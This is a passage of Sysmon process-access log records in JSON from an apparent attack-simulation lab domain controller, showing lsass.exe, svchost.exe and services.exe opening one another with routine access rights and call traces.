11:49:40.250","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":853,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.250\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.250","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":854,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.266\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.266","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":855,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.266\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.266","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":856,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.266\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.266","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":857,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.266\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.266","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":858,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.266\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.266","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":859,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.266\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.266","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":860,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.266\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 